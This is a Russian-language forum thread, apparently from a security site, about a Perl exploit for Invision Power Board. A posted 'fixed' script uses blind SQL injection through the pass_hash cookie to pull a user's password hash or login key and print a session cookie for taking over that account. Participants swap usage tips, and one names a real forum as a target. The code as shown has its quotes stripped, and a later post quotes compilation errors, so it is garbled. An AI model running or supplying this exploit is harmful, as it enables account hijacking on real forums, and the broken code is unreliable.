Практически в конце эксплоита следующая запись!

# If we get a valid sql request then this
# does not appear anywhere in the sources
$pattern = <title>(.*)Log In(.*)</title>;

Переменной Pattern в любом случае присваивается строка <title>(.*)Log In(.*)</title>, что является условием к принудительному завершению цикла!

Не понятна тогда ремарка авторов указанная ниже:

# If we get a valid sql request then this
# does not appear anywhere in the sources
Кто-ть разобрался - на основании какого условия, все-таки должна происходить выборка нужных символов хэша?

Ломаю голову уже 5-й час... блин...
если кто-то знает, но здесь не хочет комментировать - просьба отписаться на prisoner7@yandex.ru или ICQ: 5712433

Thanks

Блин ну правда . Постояно тута не рабочие эексплойты. Что скрипт кидесов чтоль боятся все ? =) Вобщем канчайте всякую лажу выкладывать =) давай те нам рабочие эксплойт =)

блин нашел че за шняга, нету этого самого UserAgent...
может кто подскажет где взять его можно?

вот пофиксенный :

#!/usr/bin/perl -w

# This one actually works Just paste the outputted cookie into
# your request header using livehttpheaders or something and you
# will probably be logged in as that user. No need to decrypt it!
# Exploit coded by "ReMuSOMeGa & Nova" and http://www.h4cky0u.org

# edited by rav3n http://skidеs.net.ru

use IO::Socket;

if (!$ARGV[0]) {$ARGV[0] = ;}
if (!$ARGV[3]) {$ARGV[3] = ;}

my $host = $ARGV[0]; # hostname
my $path = $ARGV[1] . index.php?act=Login&CODE=autologin;
my $user = $ARGV[2]; # userid to jack
my $iver = $ARGV[3]; # version 1 or 2
if($ARGV[4]) { $cpre = $ARGV[4] } else { $cpre = "" }
my $dbug = $ARGV[5]; # debug?
if (!$ARGV[3])
{
print "... By rav3n Usage: ipb_skides.pl site.org /forum/ [id] [ver1/2] [cookie_prefix] [debug].\n\n";
exit;
}

my @charset =  ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e" ,"f");
my $outputs = ;

M1:
for( $i=1; $i < 33; $i++ )
{
for( $j=0; $j < 16; $j++ )
{
my $current = $charset[$j];
my $sql = ( $iver < 2 ) ?  "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$curre nt%2527)/*" :  "99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%25 27$current%2527)/*";
$cookie = $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql;

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "FAILED\n\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $host\n";
print $socket "Accept: */*\n";
print $socket "Cookie: $cookie\n";
print $socket "Connection: close\n\n";

# If we get a valid sql request then this
# does not appear anywhere in the Location header
$pattern = act=Login&CODE=;

$failed = 0;
while(<$socket>)
{    
    if($dbug) { print };
    if(/$pattern/)  { $failed = 1; }
}

if($failed==0){
      $outputs .= $current;
      print "$i char: $current\n";
      next M1;
}

}
if ( length($outputs) < 1 ) { print "Not Exploitable!\n"; exit; }
}
print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;
exit;

no comments..... [IMG]http://www.securitylab.ru/forum/smileys/smiley36.gif[/IMG]

Хех.... разсмешил........... Давай я те откомпиленный ехе-шник пришлю........ Гыыыыыы )))

чо за супер модификация?

Unquoted string "php" may clash with future reserved word at ipb.pl line 16. Unquoted string "act" may clash with future reserved word at ipb.pl line 16. Operator or semicolon missing before &CODE at ipb.pl line 16. Ambiguous use of & resolved as operator & at ipb.pl line 16. Unquoted string "autologin" may clash with future reserved word at ipb.pl line 16. Unquoted string "act" may clash with future reserved word at ipb.pl line 48. Operator or semicolon missing before &CODE at ipb.pl line 48. Ambiguous use of & resolved as operator & at ipb.pl line 48. syntax error at ipb.pl line 12, near "= ;" syntax error at ipb.pl line 13, near "= ;" Not enough arguments for index at ipb.pl line 16, near "index." syntax error at ipb.pl line 16, near "autologin;" syntax error at ipb.pl line 28, near "= ;" syntax error at ipb.pl line 48, near "=;" Execution of ipb.pl aborted due to compilation errors.

Вот я попробовал эксплоит... вроде работает у меня дома, только в инете не пашет =(((
Вот смотрите http://wow.metrolife.ru/forum/index.php адрес форума... дак как будет выглядеть командная строка? Я чет ваще непойму почему failed пишет  [IMG]http://www.securitylab.ru/forum/smileys/smiley19.gif[/IMG]